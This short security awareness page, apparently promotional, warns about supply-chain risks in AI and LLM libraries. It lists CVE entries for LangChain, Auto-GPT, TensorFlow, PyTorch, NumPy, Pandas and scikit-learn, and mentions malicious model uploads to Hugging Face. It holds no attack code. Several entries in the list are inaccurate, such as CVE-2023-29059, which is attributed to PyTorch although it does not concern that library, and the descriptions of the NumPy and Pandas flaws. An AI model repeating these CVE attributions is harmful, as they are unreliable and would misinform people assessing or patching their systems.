Protect AI and LLM Models
AI models, particularly large language models (LLMs), rely heavily on external libraries to enhance their functionality, streamline development, and achieve cutting-edge performance. However, these libraries come with significant security supply chain risks, especially in open-source environments, where vulnerabilities and deliberate backdoors can be present.
One of the most pressing threats is the unintentional integration of a malicious package into an LLM framework.
In 2023, several vulnerabilities were discovered in popular AI libraries such as LangChain and Auto-GPT, exposing potential vectors for remote code execution, privilege escalation, and even arbitrary file manipulation. When an LLM uses such compromised libraries, attackers can exploit these security gaps to access sensitive data, hijack computational resources, or launch a supply chain attack, endangering every user of that model.
Examples of Real Threats:
- LangChain - CVE-2023-29374: Enabled remote code execution (RCE) through vulnerable functions in the llm_math chain, making it possible for attackers to execute arbitrary code within an LLM environment.
- Auto-GPT - CVE-2023-37274: Introduced a path-traversal vulnerability that allowed attackers to overwrite .py files outside the intended directory, paving the way for arbitrary code execution and manipulation.
- TensorFlow - CVE-2023-25658: Allowed for a denial-of-service (DoS) attack through a crafted input that could trigger a crash.
- PyTorch - CVE-2023-29059: Could lead to arbitrary code execution due to improper handling of certain inputs.
- NumPy - CVE-2021-41495: Allowed for arbitrary code execution when loading maliciously crafted files.
- Pandas - CVE-2020-13091: Could lead to information disclosure through improper handling of certain data structures.
- Scikit-learn - CVE-2020-28975: Allowed for code execution through deserialization of untrusted data.
- Hugging Face - 2024-Malicious Model Uploads: JFrog's security research team discovered that attackers had uploaded malicious machine learning models to the Hugging Face platform. These models contained silent backdoors, posing significant risks to data scientists and organizations utilizing them.